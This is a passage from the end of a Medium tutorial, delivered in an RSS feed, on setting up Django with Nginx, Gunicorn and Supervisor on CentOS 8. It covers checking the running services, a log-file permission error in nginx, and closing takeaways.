reload</blockquote><p>Reload the firewall to save the changes.</p><p><strong>Step 8: Now you can access the web version of supervisorctl</strong></p><p>PS: you can access with <a href="http://[YOUR_IP_ADDRESS]:9001">http://[YOUR_IP_ADDRESS]:9001</a><br>Your login and password are set in the supervisor’s config.</p><h3><strong>8 — Starting Supervisor, Nginx, and Django/Gunicorn</strong></h3><p><strong>Step 1: Check if the supervisord and Nginx are running</strong></p><blockquote>$ sudo systemctl status supervisord<br>● Active: active (running) since Mon 2020–01–27 19:02:02 WET; 18min ago<br>$ sudo systemctl status nginx <br>● Active: active (running) since Mon 2020–01–27 19:02:02 WET; 18min ago</blockquote><p><strong>Step 2: Reboot</strong></p><h3><strong>9 — Problems and Troubleshooting</strong></h3><p><strong>Nginx can’t run because it can’t create the log file.</strong></p><p><strong>Solution: Give Nginx user permission to write the file.</strong></p><p>Jan 27 19:28:34 VBCENTOS nginx[27589]: nginx: [emerg] open() “/opt/django-websites/logs/access.log” failed (13: Permission denied)</p><p>Make sure you have the right permissions on #TODO.</p><p>If you have SELINUX activated, you can change SELINUX to permissive to only log actions that were blocked earlier, but check with your OS administrator for help.</p><p>I will not cover any SELINUX settings in this tutorial.</p><h3><strong>10 — Key Takeaways</strong></h3><p>By completing all of the steps of this tutorial, you will be able to configure a Django Server with Nginx and Gunicorn and monitor the Django applications in Supervisor. If you want to add another app, just repeat the process starting from chapter 3.</p><p>I hope you’ve found this tutorial useful and that I have answered some of your questions regarding how to implement Django with Nginx.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b0ebaad968c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/growininsights/how-to-install-django-python-framework-on-centos-8-5b0ebaad968c">How to Install Django Python Framework on CentOS 8</a> was originally published in <a href="https://medium.com/growininsights">Growin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>